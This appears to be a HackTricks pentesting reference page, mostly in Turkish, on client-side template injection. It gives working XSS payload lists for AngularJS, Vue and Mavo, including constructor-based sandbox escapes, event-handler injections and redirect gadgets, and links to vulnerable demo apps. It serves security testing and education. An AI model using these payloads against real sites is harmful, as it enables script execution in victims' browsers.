Client Side Template Injection (CSTI)

HackTricks'i Destekleyin

Özet

Bu, Sunucu Tarafı Şablon Enjeksiyonu (Server Side Template Injection) gibidir ama istemci tarafında. SSTI, uzaktaki sunucuda kod çalıştırmanıza izin verebilir, CSTI ise kurbanın tarayıcısında rastgele JavaScript kodu çalıştırmanıza izin verebilir.

Bu zafiyeti test etmek, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı bir şablon bekler ve bunu çalıştırır. Örneğin, {{ 7-7 }} gibi bir yük ile, uygulama zayıfsa 0 göreceksiniz, değilse orijinalini: {{ 7-7 }} göreceksiniz.

AngularJS

AngularJS, HTML ile direktifler olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür, bunlardan biri ng-app'dir. Bu direktif, AngularJS'nin HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.

Kullanıcı girdisinin ng-app ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdide AngularJS'nin sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

Angular 1.6 sandbox'ı kaldırdı bu yüzden bu versiyondan itibaren {{constructor.constructor('alert(1)')()}} veya <input ng-focus=$event.view.alert('XSS')> gibi bir yük çalışmalıdır.

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/ Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

VUE'deki CSTI hakkında gerçekten iyi bir yazı https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.

V3

{{_openBlock.constructor('alert(1)')()}}

Kredi: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredi: Mario Heiderich

Daha fazla VUE yükü kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Yük:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Daha fazla yükleme için https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Tespit Listesi

HackTricks'i Destekleyin

Last updated